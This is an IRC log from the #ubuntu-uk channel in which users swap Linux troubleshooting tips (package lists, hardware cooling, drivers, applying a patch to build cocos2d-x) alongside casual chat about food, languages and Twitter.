<bigcalm> davmor2: not something that pleases me
<bigcalm> Is there a way of setting environment variables for all crontab jobs in a file rather than having to add them to each line?
<davmor2> bigcalm: you wouldn't know what to do with yourself if you didn't have some work to do ;)
<bigcalm> davmor2: not true, tonight I will be trying to get my workstating to be useable again
<bigcalm> Ah, it's implementation dependant. It'll work on test (Ubuntu) but will fail on production (RedHat)
<bigcalm> Dave2: sorry you almost burnt yourself
<Dave2> har
<davmor2> bigcalm: and then ofcourse you'll have to check that all the code is in sync and then you just remembered this little job you could do while you have your computer up........
<DJones> Damm, ME, not Vista
<bigcalm> Time to tackle nvidia once more
<smittix> Evening all.
<bigcalm> Is it possible to get a complete list of installed packages from a machine that has been booted via the live usb?
<shauno> you mean like the system is mounted, but it's not the booted system?
<shauno> something like dpkg --admindir=/mnt/target/var/lib/dpkg --get-selections should be a start
<ali1234> you can go one further than that, and get a list of every file that has been modified too
<ali1234> really though, at this point why not just reinstall?
<bigcalm> I am going to reinstall, but I want a list of packages that I have installed currently so that I will be reminded of what to reinstall
<bigcalm> shauno: ta
<ali1234> i just install stuff as i need it... prevents my machine from getting filled with junk :)
<bigcalm> Always a good idea, but I do need a few select packages from the get-go so that I can be productive in the morning
<MartijnVdS> vim
<diddledan> eek
<popey> ooh
<diddledan> aah
<diddledan> any more monosyllabic noises?
<MartijnVdS> augh!
<diddledan> wee
<diddledan> you know meet the parents trilogy. is anybody else as miffed as I am they they missed the chance to use the phrase "yippie kye yay Martha Focker!"?
<diddledan> it's problems like these that keep me awake at night with palpitations
<foobarry> can't get any games running on this native risc os :(
<MartijnVdS> what's the error?
<foobarry> module XX is not 32-bit compatible
<ali1234> yeah
<ali1234> you can't run 16 bit software on x86_64 either
<ali1234> i would imagine it's a similar thing
<MartijnVdS> oh wow, x86-64 *disables* that? I though it was just another mode on top of the existing ones, and it could switch back to virtual-8086 for a process?
<MartijnVdS> http://en.wikipedia.org/wiki/64-bit_compatibility_mode#OPMODES
<ali1234> no
<ali1234> if it's in 32 bit mode it can run 16 bit code, if it's in 64 bit mode it can only run 32 bit code
<foobarry> gonna go to bed and think about this tomorrow
<ali1234> well, 64/32 and not 16
<MartijnVdS> ali1234: apparently, it *can* run 16-bit code, but only in protected mode
<MartijnVdS> but I guess not much code is written for that
<MartijnVdS> (16-bit protected mode on 64-bit OS)
<MartijnVdS> can the CPU exit long mode, go into compat mode, run a 16-bit task in v86 mode, then switch back to long mode?
<ali1234> no idea
<ali1234> completely pausing the kernel probably isn't a good idea anyway
<ali1234> i mean you'd effectively be rebooting if you did that
<ali1234> suspend to disk -> reboot to dos -> run 16 bit code -> reboot to linux -> restore from disk
<MartijnVdS> ali1234: maybe those virtualization instructions can help :)
<ali1234> no, it doesn't even work in virtualization mode
<MartijnVdS> "According to the VT-x spec, guest OSes cannot operate in real mode. Using a Linux loader to load a guest OS is impossible because it starts in real mode. To solve this problem, a vmxloader was written for VT-x guests. This loader uses the VM86 mode of the processor to run the OS boot loader."
<ali1234> you need a software emulator like dosbox
<MartijnVdS> AMD SVM, on the other hand, supports real-mode for guests, so it does not need the VM86 mode of the hvmloader.
<MartijnVdS> ali1234: so it does support vm86 mode, which can run DOS fine :)
<MartijnVdS> (vt-x that is)
<diddledan> I always understood that hardware virtualisation instructions allowed real mode else the virtual bios wouldn't work
<diddledan> and the os' bootloader
<diddledan> all those run in real mode
<diddledan> only in efi do they not
<diddledan> the bootloader (grub)'s job is to drop from realmode to protected mode and initialise the kernel
<diddledan> the chainload feature retains realmode and reassigns the code execution pointer to the windows (e.g.) bootloader
<diddledan> oh what fun: "[X - the recommended app] only works with Windows 2000/XP. For Windows Vista please use [Y]" further "for MacOS or Linux use [Z - which hasn't been updated since 2005]"
#ubuntu-uk 2014-01-16
<bigcalm> I appear to have a fully working system again (glad I backed up my home dir)
<bigcalm> Making do with the free drivers
<daftykins> \o/
<daftykins> congrats
<diddledan> my cpufan is going like stink on a newly installed server-12.04. I'm assuming the server release doesn't include any speedstep out-of-the-box?
<daftykins> seems likely
<diddledan> I think I'm going to replace the cpu-cooler on this machine
<daftykins> unrelated?
<diddledan> worryingly when I inherited the box the cooler wasn't fastened to the board properly so I'm wondering now whether there was any thermal grease
<diddledan> it's currently being sensed as running at 70C and that was climbing before I turned down the cpu frequency
<diddledan> unrelated but a similar issue is the nvidia quadro vga card seems to be getting too hot also
<daftykins> thermal paste for them both perhaps :D
<diddledan> lm-sensors is a useful thing
<daftykins> how was the sink not on properly? 0o
<diddledan> http://paste.ubuntu.com/6759620/
<diddledan> three of the four fixing poles were loose
<daftykins> :S
<diddledan> it's an intel i7 so it has that funky quick-release fixing
<daftykins> four black plastic posts that spin 90 degrees?
<diddledan> push-down plungers to affix onto the board
<diddledan> yups those
<daftykins> that's been true since a looooong time
<daftykins> oops poor english there
<diddledan> have you turned German?
<daftykins> the design has been around since the original core's i think
<daftykins> ja, warum?
<diddledan> "I've been in this channel since 5 years"
<diddledan> or some other bad engrish
<daftykins> :D
<daftykins> but yeah it might've had a very thin layer
<daftykins> but get yourself some arctic silver 5
<daftykins> \o/
<diddledan> I need a measuring stick to work out how much space this box has
<MartijnVdS> Good morning everyone!
 * dwatkins_ has now been migrated to Office 365
<dwatkins_> This could be interesting, in several ways.
<MartijnVdS> dwatkins: :( poor you
<dwatkins> MartijnVdS: yeah, my employer seems to think it's a good idea, but I'm not so comfortable with having our mailboxes managed by a third party
<MartijnVdS> dwatkins: And not just any third pary..
<MartijnVdS> +t
<dwatkins> MartijnVdS: indeed, although they're not a competitor, it still means (in theory) that they can read our mail.
<MartijnVdS> but they'd NEVER do that, right?
<dwatkins> *cough*
<diplo> Morning all
<MartijnVdS> hi diplo
<dwatkins> MartijnVdS: http://www.youtube.com/watch?v=7qZygn1ukNc
<diplo> Really wouldn't want my mail hosted with a 3rd party either
<jussi> morning all
<jussi> Im still high from the cocaine... err... medication. but, I need a small bit of advice.
<jussi> I need a video plugin for chrome that is actually decently useable, not htis totem crap. there used to be mozilla-plugin-vlc - but that doesnt seem to exist any more....
<Myrtti> "don't joke about substance abuse on an IRC channel publicly logged"?
<brobostigon> morning boys and girls.
<MartijnVdS> Myrtti: maybe he's not joking
<MartijnVdS> jussi: browser-plugin-vlc - multimedia plugin for web browsers based on VLC
<jussi> Myrtti: given that the medication is an opiate, it hardly is a joke about substance abuse.
<jussi> Myrtti: thanks. do you happen to remember the name of the totem plugin so I can remove it?
<MartijnVdS> jussi: you can just disable it in about://plugins right?
<MartijnVdS> jussi: "apt-cache search totem plugin" otherwise :)
<jussi> hrm, potentially... let me check.
<bigcalm> Good morning peeps :)
<bigcalm> Back on Linux, yay
<jussi> weird. browser says I have vlc plugin. why then do I have a plugin that I cant adjust where I am in the stream?
<MartijnVdS> jussi: becuase the site asked the vlc plugin to disallow that?
<popey> pip pip
<jussi> MartijnVdS: that would be a suprise, as the stream is playable on my android phone and I can do that...
<popey> jussi: i personally never use embedded video players. i tend to extract the stream url and launch vlc or mplayer manually
<DJones> Why does the font/text/update window for the Java updater on windows looks like something that was designed to run on Windows 3.0
<jussi> ooh, now vlc just crashes... lovely. and there is a nice typo bug there...
<DJones> Ugh, looks awefull
<jussi> bah, ubuntu's screenshot app is very poor
<jussi> its funny, all the little things Im used to in kubuntu...
<popey> i use Shutter which is very nice
<jussi> popey: will it auto map the keys for that if I install it?
<popey> no
<popey> http://shutter-project.org/faq-help/set-shutter-as-the-default-screenshot-tool/
<popey> comprehensive guide there
<popey> even covers the niche desktop "KDE"
<jussi> cripes, that was a lot of deps...
<SuperMatt> my boss seems to have done the incomprehensible. I created a backup script which uses rsync and hard links to make daily backups of a server. I originally set the script to keep 30 days worth, and the boss has reduced it to 7
<SuperMatt> because it's hard links, those extra 23 days really don't take up any extra space
<popey> sure they do
<popey> deltas
<jussi> SuperMatt: does your boss have pointy hair?
<MartijnVdS> SuperMatt: some kind of data destruction policy?
<SuperMatt> popey: sure, but a lot of the data I sync changes rarely
<SuperMatt> so it's nice to have a month to spot a mistake, rather than 7 days, or whatever
<popey> thats annoying then
<SuperMatt> indeed
<SuperMatt> oh well
<SuperMatt> he's obviously done it to get things back to the way he likes it when I leave tomorrow
<SuperMatt> mustn't grumble
<diplo> And you'll get the blame Monday when things go wrong :D
<SuperMatt> diplo: naturally ;)
<bigcalm> Dave2: my tea did not nearly burn me. I am disappointed
<JamesTait> Good morning all; happy Nothing Day! :-D
<MartijnVdS> JamesTait:
<SuperMatt> Nothing day?
<SuperMatt> we have nothing to celebrate?
<MartijnVdS> SuperMatt: http://en.wikipedia.org/wiki/National_Nothing_Day
<SuperMatt> or we're supposed to be celebrating the concept of nothingness?
<SuperMatt> hilarious
<JamesTait> I do feel we need some British events on this calendar though.
<SuperMatt> we'd just end up with national whippet and flatcap day
<SuperMatt> yorkshire pudding day
<foobarry> airfix day
<SuperMatt> ooh yes
<SuperMatt> I would go in for that day
<MartijnVdS> Cornish Pasty Day? Please?
<foobarry> every day is pasty day
<foobarry> sausage sandwich day
<SuperMatt> dammit lads, I now want a sausage sandwich
<SuperMatt> replete with extra cheese and bacon
<shauno> I had a chuckle when I moved to michigan.  turns out the upper peninsula is full of cornish immigrants (where there's tin mines, there's cornish ..).  So they thought pasties were a local thing
<popey> poached egg day
<shauno> much confusion when the 'foreigner' required no introduction to pasties
<MartijnVdS> heh
<MartijnVdS> shauno: weird 'muricans
<SuperMatt> pasties... just smaller, less cheesey calzones
<MartijnVdS> SuperMatt: a bit less tomato-ey as well
<MartijnVdS> and fewer "Italian" herbs :)
<foobarry> MartijnVdS: ali1234 apparently there is an app called aemulor which is nonfree, but lets you play old games on the risc os on the pi
<SuperMatt> I guess it all really depends on the pastie
<foobarry> lamb and mint , or cornish original
<SuperMatt> cheese and ham please
<SuperMatt> http://sploid.gizmodo.com/time-traveling-photographer-adds-herself-into-her-child-1499112549 <- genuninely cool
<MartijnVdS> a "whole" in the space-time continuum? A whole?
<MartijnVdS> Can't those people English?
<SuperMatt> clearly not
<SuperMatt> tbh, I think it's bad editors, or lack of
<MartijnVdS> \o/ vim
<SuperMatt> in the day of print media, that wouldn't have swung, but these days there's such a pressure to publish first that too many mistakes are made
<foobarry> you would have thought that wtih 24 hr news channels, you might end up with decent news, but it's still politics and death on a rolling 20 minute repeat
<bigcalm> Just disconnected from a client's VPN and noticed that Skype disconnected/reconnected
<bigcalm> That's somewhat disturbing
<diplo> bigcalm: Sounds like VPN is using remote gateway
<MartijnVdS> or skype just bindly reconnects on every network device change
<bigcalm> Silly computers
<DJones> AlanBell: Are you around for a pm, no rush if you're busy, just want to pick your brains on software for tyre management/stock control/invoicing etc and see if you've come across anything in the opensource market
<jussi> DJones: doesnt openerp cover tht pretty well ?
<jussi> oh I so want to eat warm things again...
<DJones> jussi: Yeah probably, but I suspect we'd need a pre-developed system rather than have to install openerp and then internally develop the system ourselves
<DJones> We also want to move to a hosted system accessable via the web & a web browser if possible, rather than having a system installed on our own machines, current system is pretty old and doesn't really work with multiple depots as a single system, have to have an install at each depot which updates the main system daily via a modem rather than via the web
<jussi> DJones: guessing you havent seen openerp recently ?
<DJones> jussi: No, its not something I've ever used
<jussi> DJones: go have a look over it - it has improved significantly recently
<jussi> https://www.openerp.com/
<jussi> has lots of built in "applications" - like POS, management etc
<MartijnVdS> it has a built-in Piece of Sh*t app?
<jussi> MartijnVdS: Point of Sales...
<DJones> jussi: I've got no doubt it would do most, if not all, things we need, the problem would be getting it up and running in the an industry standard way firstly, linking to 3rd party supplier/customer systems etc, thats without trying to teach a tyre fitter how to switch a computer/tablet on & actually use it to process job sheets
<jussi> DJones: yeah, I hear you. guess AlanBell is your man for that...
<DJones> Thats more why we'd look for a system already in use first, 1) So we could see how it works and 2) to reduce the setup/configuration needed
<jussi> hrm... cold, throat friendly things that are still satisfying.... nope, I couldnt think of any either
<DJones> jussi: Fishermens Friend's they're good for bad throats
<jussi> DJones: not this kind of bad throat, sadly. (had tonsils out)
<DJones> Ah, Chocolate Ice cream?
<jussi> yeah, ice cream is good. but gets boring after a while. I wish for a nice roast dinner.... :P
<jussi> or a hearty winter stew
<jussi> or even a meat pie!
<DJones> Heh
<jussi> canned fruit salad and ice cream... not so nice when you ar hungry
<DJones> I can believe that, my wife had a gastric bypass 12 months ago which probably had similar effects on dietry requirement, she had a month of eating pretty much liquidised/very soft food
<AlanBell> DJones: hi, just reading back . . .
<jussi> DJones: I think tomorrow I can have warm stuff already - depends on the soreness. if it continues the same then tomorrow is looking good
<jussi> btw, anyone know how to make the fingerprint reader on this hp work ?
<DJones> AlanBell: The question is more whether you've come across any tyre depot management software, I guess ideally opensource, but that may well be unlikely due to the small market
<AlanBell> DJones: what third party system links would it need?
<DJones> AlanBell: It has to link to places like Michelin, Goodyear etc for price databases, but the big area is that we have to enter job sheets into a 3rd party system to get authorisation codes before producing invoices and then both systems have to be updated with information from both systems, thats a couple of 3rd party systems that use similar idea but different processing methods
<DJones> I think in reality, its unlikly that outside of commercial systems that there would be anything available
<AlanBell> yeah, I would start with OpenERP and develop custom modules to do the interfacing
<DJones> THis is what we use now http://www.teamsystems.co.uk/Default.asp?page=software but it seems archaic and not particularly updated/developed
<AlanBell> and do some other UI tweaks for presenting the invoices with the 4 wheels with alignment information and so on
<DJones> Thats the sort of thing I'd expect, although I suspect the directors would probably go down the line of using a 'known industry system' rather than having to have something developed & integrated themselves
<davmor2> Morning all
<DJones> There's probably also an issue in terms of getting approval from the 3rd party systems to link an unknown/new system into their systems
<davmor2> Today I've decided is going to be a good day, so everyone enjoy it :D
<AlanBell> DJones: yeah, vertical solutions are sometimes the path of least resistance :)
<DJones> Sadly yes
<davmor2> bigcalm: how did you get on with you Desktop?
<AlanBell> however, sometimes they are trying to extract so much money from the sector that it is worth taking a new approach
<AlanBell> DJones: could you form a consortium of competitors to fund/build a new open source industry solution?
<DJones> AlanBell: I doubt it, the market is pretty small once you exclude the big national chains, we're probably one of the biggest outside the nationals, smaller firms probably wouldn't be as concerned with the limitations of the existing systems
<bigcalm> davmor2: fixed it by taring up my home dir, sending it to my server, reinstalling Ubuntu 13.10, copying my home dir back
<davmor2> bigcalm: that's way drastic why did you need to do that?  And then did you do some work in the end ;)
<bigcalm> davmor2: I went to bed at 00:15 once I had reinstalled enough packages to start work this morning
<bigcalm> davmor2: I got fed up and did what I knew would work
<bigcalm> davmor2: making do with the free driver
<bigcalm> davmor2: I'm going to have hell with my new laptop next week, aren't I?
<davmor2> bigcalm: Why?  Should be modernish hardware and just work
<MartijnVdS> yay modern hardware :)
<bigcalm> davmor2: my workstation is less than a year old
<DJones> bigcalm: Is your new laptop dual graphics? eg intel & nvidia, things like that seem like a pig to get working
<davmor2> bigcalm: then I don't know why you are having issues.  The only issue I have had is that trustys 3.13 kernel doesn't like hybrid gfx but that will be fixed
<davmor2> DJones: not any more nvidia released a prime driver just work in 3.11 and 3.12 got broken by a change in 3.13 but that will be fixed soon
<DJones> davmor2: Interesting
<DJones> I might consider a new laptop then
<davmor2> DJones: you need < nvidia-313 and nvidia-prime
<DJones> Maybe wait until after bigcalm's got his set up & written up his blog about issues and how to fix them :)
<davmor2> bigcalm: did you ever say what laptop you were getting?
<DJones> I like the look of the Lenovo y510p
<davmor2> and that knock at the door will be my N4
<DJones> Ah well, we won't see you for the rest of the day
<bigcalm> davmor2: several times ;) http://www.dell.com/uk/p/inspiron-15-7537/pd?oc=cn75305&model_id=inspiron-15-7537
 * bigcalm hits refresh on the order page - still in China :(
<davmor2> DJones: I have the Lenovo Ideapad Y580 i7 8GB 1TB hdd with optimus gfx can't fault it bah the stupidly sensitive trackpad with no real buttons
<bigcalm> davmor2: this page contains the spec of my workstation: http://www.myrant.net/2013/02/17/multi-screen-with-ubuntu-unity/
<DJones> bigcalm: Thats a good price, similar spec to the lenovo, but Â£200 cheaper
<DJones> Processor slightly different & less memory
<bigcalm> Yeah, I couldn't afford the cost of a decent Lenovo
<DJones> It says optional touch capeability, or is it just touchscreen anyway, seems to be two different statements on the website
<bigcalm> DJones: yeah, bit odd that. I think it's coming with a touch screen. There weren't any options to change the hardware configuration
<DJones> I might well be tempted by that, I'll keep watching to see how you get on
<DJones> Specially if I can persuade work to buy it for me :)
<dwatkins> I just saw someone receive an iPad they won from a competition, I can barely believe my eyes.
<bigcalm> dwatkins: you meant that they aren't all scams?
<dwatkins> bigcalm: well, this was an internal (corporate) prize draw thing
<davmor2> bigcalm: you leaving windows 8 on it (we know how you hate freedom :P)
<jussi> hrm, never tought cold meatballs could taste so good...
<bigcalm> davmor2: remember that SSD I returned to OCZ? They sent a replacement that has yet to be used in anything. So I'll swap out the HDD for the SSD before Windows 8 gets a chance to irritate me at all
<davmor2> bigcalm: nice
<bigcalm> 120GB should be enough for anybody
 * bigcalm hits f5
<bigcalm> Damn it
<bigcalm> Oh, time for a tweet
<Myrtti> well. Let me tell you that if I get the BT connect android app to work properly on my phone,, it's a godsent
<Myrtti> because it looks like I need to call HMRC
<Myrtti> I should calm down a bit, my eyelid has a muscle twitch now...
<mapps> hi folks
<bigcalm> davmor2: so will +1 be ready for me to put onto the new laptop on Wednesday?
<MartijnVdS> sure, I've been running it on my system for months already
<bigcalm> But will the kernel and nvidia be ready? :)
<davmor2> bigcalm: depends I didn't look at the gfx, if it is dedicated or intel, then yes if it is optimus possibly not but the intel gfx part of it works fine
<MartijnVdS> bigcalm: I don't know, I avoid nvidia
<davmor2> bigcalm: nvidia is good now popey can you confirm that on +1 nvidia is good now?
<bigcalm> davmor2: goodie :)
<popey> davmor2: my desktop is fine
<davmor2> bigcalm: just optimus that is broken currently
<popey> 3.13 is sorted
<davmor2> popey: except optimus but I might chase up with tseiliot on that after
<davmor2> -i
<bigcalm> davmor2: the author who died in 1965?
<davmor2> bigcalm: no
<bigcalm> Aww
<foobarry> i remember him from ubuntuforums back a good few years ago now
<foobarry> in the era of automatix
<MartijnVdS> *shudder*
<popey> he did another thing like that
<popey> what was it called
<foobarry> envy?
<popey> thats it
<popey> then he got hired â»
<foobarry> with alberto milone?
<popey> that is him
<foobarry> or is that the same guy
<foobarry> then everybody tried a dist-upgrade
<popey> remember when Michael Dell said he used Ubuntu at home with 12:49:46 < foobarry> in the era of automatix
<foobarry> AARRGH ubuntu is lame cannot upgrade
<popey> oops
<popey> remember when Michael Dell said he used Ubuntu at home automatix
<popey> bah
<foobarry> i get you
<popey> hehe, 2007
<popey> http://www.beerorkid.com/2007/04/michael-dell-uses-ubuntu-and-automatix/
<foobarry> probably stopped when his upgrade failed
<foobarry> i can see why it was created though. it was neceesary to fill a gap
<foobarry> either all but 5 of my friends have stopped facebooking or facebook just doesn't wnt to show me their stuff anymore
<foobarry> or both
<popey> well facebook deliberately limits what you see
<popey> they believe you'd get a firehose every time you login otherwise
<MartijnVdS> I've been using it less and less
<shauno> ironically, the best solution seems to be to have as few friends as possible
<foobarry> nice of them to choose who i want to see
<foobarry> i tend to hide people or unfriend them if i'm not interested in their waffle
<MartijnVdS> foobarry: oh you influence it, by liking things you get to see more by that person
<MartijnVdS> foobarry: and by commenting etc.
<popey> \o/ 32
<foobarry> on a related note, can i filter on twitter stream?
<MartijnVdS> foobarry: yes, unfollow
<popey> yes, if you use a different client
<popey> i use tweetdeck
<popey> has good filtering options
<MartijnVdS> foobarry: or make lists and put someine in some lists but not others
<shauno> heh, I'm somewhere around the 30 mark too
<foobarry> i want to filter the content from a user, to reduce the spam but only get interesting bits
<popey> i unfollow noisy people and put them in a "noisy people" list
<popey> which is a separate column off to the right on tweetdeck
<popey> which i rarely look at
<popey> http://imgur.com/Yfksghl
<popey> what my tweetdeck looks like
<popey> with noisy people off screen (along with DMs) on the right
<foobarry> i'm thinking more about accounts like zinio, kindle, kobo : wanna hear about free books and deals, but not other crap. likewise, if you sign up to the email account you are bomarded linkedin style
<foobarry> wow. much informations
<MartijnVdS> such offer
<foobarry> seems strange to companies that i might not want 10 tweets a day from them
<MartijnVdS> I tend to not follow companies
<MartijnVdS> though you could put them in their own list if you want to
<popey> ditto
<foobarry> but you still have to check the list
<foobarry> and read their crap
<MartijnVdS> foobarry: or not, and don't read it unless you feel like it
<popey> i also actively unfollow anyone who promotes a tweet
<popey> the only exception to that so far is nokia
<foobarry> kindle twitter account have sorted it out now. they only send daily deals
<foobarry> thats all i wanna see
<foobarry> kindleuk
 * popey creates a 'deals' stream and adds that and hotdeals uk to it
<foobarry> "When our website goes back online it will not display any self published material until we are completely confident..that inappropriate books can never be shown again"
<foobarry> ^^ whsmith. shame their results are full of smut when i search for tame items
<popey> yay, added a mk list and put it waaay out of sight
<foobarry> mk?
<popey> marketing
<popey> all my lists are two latter abbreviations
<foobarry> but if you have the official twitter app on your phone will you see the whole thing? can you filter on that?
<popey> no, i dont
<popey> twitter app by default only shows who i am following
<popey> people in lists don't have to be followed
<foobarry> pretty lame
<popey> no, perfect
<Laney> ip = interesting people?
<foobarry> ah, popey> people in lists don't have to be followed
<popey> yes :)
<Laney> gd = games developers
<Laney> cf...
<popey> game dev, yeah
<popey> â»
<Laney> that's a tough one
<popey> it is?
<Dave2> compact flash, obviously
<Laney> something folks
<popey> it was the first list I made iirc
<popey> the names are somewhat loose â»
<popey> cf is basically "close friends" but means "people I probably know in real life and would/do go for beer with, and they tweet quite a bit of interesting stuff, and I also follow them"
<popey> but "cf" is shorter
<popey> so i see their stuff in the main feed anyway
<foobarry> i only use twitter when i'm waiting for my evening train
<foobarry> might use it more if it was more flexible in terms of filters
<foobarry> maybe i could write my own code to pull tweets from foobarry -> filter ->  foobarryfiltered account
<gone_> Hi
<gone_> I am new
<gone_> Anyone here?
<MartijnVdS> sometimes
<gone_> Good to see you
<gone_> Anyone else?
<foobarry> yep
<gone_> I need help
<MartijnVdS> !ask
<lubotu3> Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-) See also !patience
<foobarry> about to kill my phone to try to fix the terrible slowness
<gone_> lubotu3: Ok
<lubotu3> You're welcome! But keep in mind I'm just a bot ;-)
<gone_> Hello bot, then...
<MartijnVdS> gone_: you said you needed help.. with what do you need help? :)
<gone_> I'll ask
<gone_> http://paste.ubuntu.org.cn/584615
<gone_> 584615
<gone_> I mean s/5846/584615/g
<gone_> Ok just e_> http://paste.ubuntu.org.cn/584615
<MartijnVdS> I can't read the fiery letters"
<MartijnVdS> 8-)
<MartijnVdS> or the Chinese ones, for that matter ;)
<gone_> oops
<MartijnVdS> could you retry the command, like this:
<gone_> Forgot to tell you that I am a Chinese
<MartijnVdS> LC_ALL=C make
<Myrtti> is this Debian or Ubuntu, and why not ask on a chinese channel?
<gone_> Because they are busy...
<gone_> Nobody reply me
<ali1234> you have missing dependencies
<gone_> I've installed libglfw3
<directhex> yeah, i can't decipher the chinese. can you do what MartijnVdS suggested, gone_?
<foobarry> http://www.cocos2d-x.org/issues/3701
<gone_> I've downloaded the source code and installed it
<gone_> Ok
<gone_> Wait
<directhex> that should give you output in english, which we'll be able to read
<ali1234> sudo apt-get install libglfw-dev
<ali1234> also what foobarry said
<directhex> foobarry, good job!
<foobarry> \o/
<foobarry> the workaround is on this page http://www.cocos2d-x.org/forums/6/topics/42503
<gone_> http://paste.ubuntu.org.cn/584636
<directhex> gone_, thanks, that's definitely the issue foobarry links to, which has a small patch to fix it
<gone_> I am reading that link
<TREllis> .3
<gone_> Thanks~
<gone_> Very helpful
<foobarry> did it work?
<gone_> Trying
<shauno> "fiery letters" .. I may have to use that one :)
<gone_> fiery...
<MartijnVdS> shauno: It's from LotR :)
<MartijnVdS> shauno: it's what Frodo calls the letters in the ring after it's been in the fire
<shauno> ah, gotcha
<MartijnVdS> "The letters are Elvish, of an ancient mode, but the language is that of Mordor, which I will not utter here."
<directhex> i believe chinese is significantly different from elvish
<directhex> elvish script is much more flowing. chinese script is more a series of letters
<directhex> logographic
<shauno> I always figured elvish was basically welsh
<MartijnVdS> but it's "Mordorese" written with Elvish letters
<gone_> ä½ å¥½=Hello
<gone_> Sounds like "knee how"
<directhex> the only chinese i know i learned from watching a languages show on pre-school TV
<directhex> http://www.bbc.co.uk/cbeebies/lingo-show/
 * popey just had chinese for lunch
<popey> nom nom nom
<shauno> I can passably say "hello, do you speak english?".  Which makes me feel like such the stereotype
<shauno> not sure I could spell it, however
<directhex> chinese is rarely taught at school to "general" student populations - the immigrant chinese population isn't high enough in most areas for most schools to offer formal chinese classes, and for foreign language education, western european languages are easier to learn (due to similarities to english)
<directhex> i have a russian qualification though, and i did a little japanese at school
<directhex> don't remember any of it now, mind you
<shauno> our school actually offered russian, but you couldn't opt for it unless you were doing acceptably well with your primary "modern language"
<MartijnVdS> Mine offered English (compulsory), French and German. Hated French and German at the time, wished I hadn't dropped them now.
<shauno> I'm unconvinced it would have made a difference.  they're very much a "use or it lose it" deal.  I actually passed french, but wouldn't confess to understanding a word anymore
<Myrtti> ooh, finally found piccies of the kitchen cupboards I saw in the last Sherlock episode
<MartijnVdS> shauno: "Un petit peu" ;)
<directhex> wikipedia suggests out of a UK population of 63 million, there are 136000 from PRC plus 82000 from hong kong (which is listed separately) and no 2011 figures for taiwan (which is listed separately)
<directhex> PLEASE NOTE I AM NOT MAKING ANY POLITICAL STATEMENT ABOUT HONG KONG AND TAIWAN, THEY'RE JUST LISTED SEPARATELY IN THIS CHART
<shauno> you'd have to converse with belgians just to keep your hand in :/
<Myrtti> http://kitchensbybespoke.co.uk/portfolio/swinhay/
<Myrtti> so I did see correctly, it does have that pattern on it
<Myrtti> funky. Probably proper expensive too.
<directhex> http://en.wikipedia.org/wiki/Foreign-born_population_of_the_United_Kingdom#Countries_of_origin
<shauno> I think it's fair to separate hong kong within this context, since they speak primarily cantonese rather than mandarin
<popey> my kids get en and fr, and the option of de or es and latin
<gone_> I don't care about those politics at all
<MartijnVdS> popey: ah yes, latin and ancient greek were also options (as a "package deal" only)
<shauno> we were split 50/50 over fr/de
<popey> latin is only available as an extra class after hours
<shauno> but on the plus side, all my teachers were wrong; I've ended up requiring central/eastern european languages a whole lot more than french
<MartijnVdS> popey: http://en.wikipedia.org/wiki/Education_in_the_Netherlands#High_school - only "VWO" got the option of Latin/Greek
<directhex> gone_, did you get cocos2d to build?
<directhex> i have qualifications in french, latin, ancient greek, and russian
<gone_> Nope
<directhex> hmph :/
<gone_> I can't understand this: http://paste.ubuntu.org.cn/584688
<gone_> What do they mean?
<MartijnVdS> gone_: it's a unified diff, the first 2 lines show which file to edit, the rest indicates which lines to add (+) and remove (-). The "patch" tool can do this for you.
<gone_> I'm using Debian Testing with gcc version 4.8.2
<directhex> and the lines starting @@ show approximately which lines in the file need modifying
<gone_> Ok
<gone_> Am I need to install a package named patch?
<gone_> If I don't have one
<awilkins> If you have even the basics of development tools you should already have patch
<shauno> "which patch" should tell you.  if it replies with nothing, the package 'build-essential' would be a good start
<gone_> Do I need to save those codes into a file with a special file name?
<gone_> And use the patch tool
<directhex> gone_, yeah. download the file, switch to ~/src/cocos2d-x-3.0beta/, and run "patch -p1 < path/to/patchfile.diff"
<gone_> Ok,I'll do
<gone_> It doesn't work
<gone_> I'll paste it
<gone_> http://paste.ubuntu.org.cn/584709
<Myrtti> so why did you even try to make it if patch failed
<gone_> I don't know how to say "ç®äº" in English
<directhex> looks like the patch file screwed up
<gone_> I'll give it up today
<directhex> gone_, go to http://paste.ubuntu.org.cn/584688 and click ç¹å»ä¸è½½ at the top
<directhex> that should download a "good" copy
<gone_> Ok
<gone_> Oh
<gone_> It's working
<gone_> Oh my god
<directhex> success?
<gone_> Yep
<gone_> Amazing
<directhex> credit to foobarry, he found the patch
<gone_> I do love Britain.
<gone_> Any whovian here?
<dwatkins> Timey Wimey!
<directhex> inevitably
 * MartijnVdS checks his TARDIS
<directhex> that's like asking if anyone drinks tea
<popey> â»
<gone_> Oh~
<gone_> I also watch Sherlock
<gone_> Freezing here
<gone_> Thank you all ,by the way~
<mapps> i drink green tea
<mapps> ;]
<gone_> I also drink black tea
<mapps> raining again here
<mapps> good thing i dont have to go anywhere:)
<gone_> You like stay in house?
<mapps> when its bad weathe ya
<mapps> weather
<gone_> So do I
<gone_> mapps:May I sak you for another little help, it's not about linux or coding
<gone_> ask
<mapps> yes
<daftykins> mapps: heh i know that situation only too well, especially as a cyclist!
<mapps> fun times eh:D its also bad when it gets icey..hate it when it snows turns to slush thgen ice
<mapps> my whole road's like an ice rink!
<gone_> It's some paperworks
<mapps> for what
<gone_> Just find and fix some
<gone_> Grammar misktakes
<SuperMatt> achievement unlocked: exit interview.
<SuperMatt> only... 10 hours left in this job
<mapps> aha ok
<gone_> I'm Chinese you know
<SuperMatt> shame it's spready out over two days
<daftykins> SuperMatt: :D
<gone_> I am not good at English
<daftykins> SuperMatt: have you got much of a gap between the end and the start of the new?
<mapps> not your first language i takje it?
<mapps> take
<gone_> http://paste.ubuntu.org.cn/584734
<gone_> Not Chinese
<bigcalm> SuperMatt: golden handshake?
<SuperMatt> daftykins: start on monday
<mapps> This webpage is not available
<mapps> great fw of china keeping me out?
<mapps> LD
<mapps> :D
<bigcalm> WFM
<directhex> works here
<mapps> hmm
<directhex> great firewall of mapps keeping mapps out
<mapps> yes
<mapps> ;]
<ikonia> popey: actually better in this channel
<mapps> Connection refused: paste.ubuntu.org.cn:80
<popey> heh
<ikonia> popey: are you still producing the ubuntu-uk podcasts ?
<popey> yes
<ikonia> do you record them on linux ?
<popey> but we take a break between christmas and end of feb
<popey> yes
<popey> ardour
<ikonia> so I'm guessing a usb microphone ?
<popey> no
<ikonia> damn
<popey> real mics and a mixer
<ikonia> shucks, not to worry, thank you though
<gone_> http://paste.ubuntu.org.cn/584734
<popey> well, ask anyway
<directhex> yeti
<popey> blue snowball
<popey> â»
<directhex> well, yeti pro
<directhex> also from blue
